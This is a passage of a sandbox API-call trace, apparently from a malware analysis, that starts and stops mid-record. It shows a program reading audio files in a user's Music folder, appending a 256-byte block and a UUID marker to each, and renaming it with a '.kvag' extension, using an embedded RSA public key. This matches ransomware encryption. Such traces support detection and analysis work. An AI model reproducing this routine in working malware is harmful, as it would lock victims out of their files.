KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.784] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.784] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0119.785] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.785] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.785] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.785] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.785] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.785] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0119.785] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.785] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.785] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.785] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.786] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x76ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.786] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.786] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.786] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.786] CloseHandle (hObject=0x61c) returned 1 [0119.787] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\KpgK4Eq8VgZx.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\kpgk4eq8vgzx.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\KpgK4Eq8VgZx.wav.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\kpgk4eq8vgzx.wav.kvag")) returned 1 [0119.788] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f6d9e0, ftCreationTime.dwHighDateTime=0x1d4d26e, ftLastAccessTime.dwLowDateTime=0xdbda5280, ftLastAccessTime.dwHighDateTime=0x1d4d0c5, ftLastWriteTime.dwLowDateTime=0xdbda5280, ftLastWriteTime.dwHighDateTime=0x1d4d0c5, nFileSizeHigh=0x0, nFileSizeLow=0xe5b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oksjJ.wav", cAlternateFileName="")) returned 1 [0119.788] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\oksjJ.wav") returned=".wav" [0119.788] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\oksjJ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\oksjj.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.788] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=58800) returned 1 [0119.788] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.790] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe58a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.790] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.792] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xe5b0, lpOverlapped=0x0) returned 1 [0119.793] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.793] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.793] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.793] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0119.794] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.794] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.794] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.794] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.794] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.794] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0119.794] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.794] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.794] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.794] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.795] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe5b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.795] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.795] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.795] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.795] CloseHandle (hObject=0x61c) returned 1 [0119.796] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\oksjJ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\oksjj.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\oksjJ.wav.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\oksjj.wav.kvag")) returned 1 [0119.797] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa1cac20, ftCreationTime.dwHighDateTime=0x1d4d304, ftLastAccessTime.dwLowDateTime=0x616b60d0, ftLastAccessTime.dwHighDateTime=0x1d4d146, ftLastWriteTime.dwLowDateTime=0x616b60d0, ftLastWriteTime.dwHighDateTime=0x1d4d146, nFileSizeHigh=0x0, nFileSizeLow=0x2b80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="P0kZ 5sEUj-Qr3n_8v.wav", cAlternateFileName="P0KZ5S~1.WAV")) returned 1 [0119.797] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P0kZ 5sEUj-Qr3n_8v.wav") returned=".wav" [0119.797] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P0kZ 5sEUj-Qr3n_8v.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\p0kz 5seuj-qr3n_8v.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.798] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=11136) returned 1 [0119.798] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.799] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2b5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.799] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.801] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x2b80, lpOverlapped=0x0) returned 1 [0119.801] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.801] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.801] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.801] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.802] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.802] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.802] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.802] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.802] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.802] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.802] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.802] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.802] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.803] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.803] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2b80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.803] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.803] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.803] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.803] CloseHandle (hObject=0x61c) returned 1 [0119.804] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P0kZ 5sEUj-Qr3n_8v.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\p0kz 5seuj-qr3n_8v.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\P0kZ 5sEUj-Qr3n_8v.wav.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\p0kz 5seuj-qr3n_8v.wav.kvag")) returned 1 [0119.806] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43cc9d90, ftCreationTime.dwHighDateTime=0x1d4d412, ftLastAccessTime.dwLowDateTime=0x18b5a920, ftLastAccessTime.dwHighDateTime=0x1d4cfd1, ftLastWriteTime.dwLowDateTime=0x18b5a920, ftLastWriteTime.dwHighDateTime=0x1d4cfd1, nFileSizeHigh=0x0, nFileSizeLow=0x6a48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="V8CZiiS8yq6173-jiD.mp3", cAlternateFileName="V8CZII~1.MP3")) returned 1 [0119.806] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V8CZiiS8yq6173-jiD.mp3") returned=".mp3" [0119.806] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V8CZiiS8yq6173-jiD.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\v8cziis8yq6173-jid.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.806] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=27208) returned 1 [0119.806] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.808] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6a22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.808] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.810] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x6a48, lpOverlapped=0x0) returned 1 [0119.811] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.811] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.811] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.811] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.812] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.812] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.812] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.812] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.812] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.812] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.812] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.812] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.812] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.812] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.812] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6a48, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.812] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.813] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.813] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.813] CloseHandle (hObject=0x61c) returned 1 [0119.816] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V8CZiiS8yq6173-jiD.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\v8cziis8yq6173-jid.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V8CZiiS8yq6173-jiD.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\v8cziis8yq6173-jid.mp3.kvag")) returned 1 [0119.817] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43cc9d90, ftCreationTime.dwHighDateTime=0x1d4d412, ftLastAccessTime.dwLowDateTime=0x18b5a920, 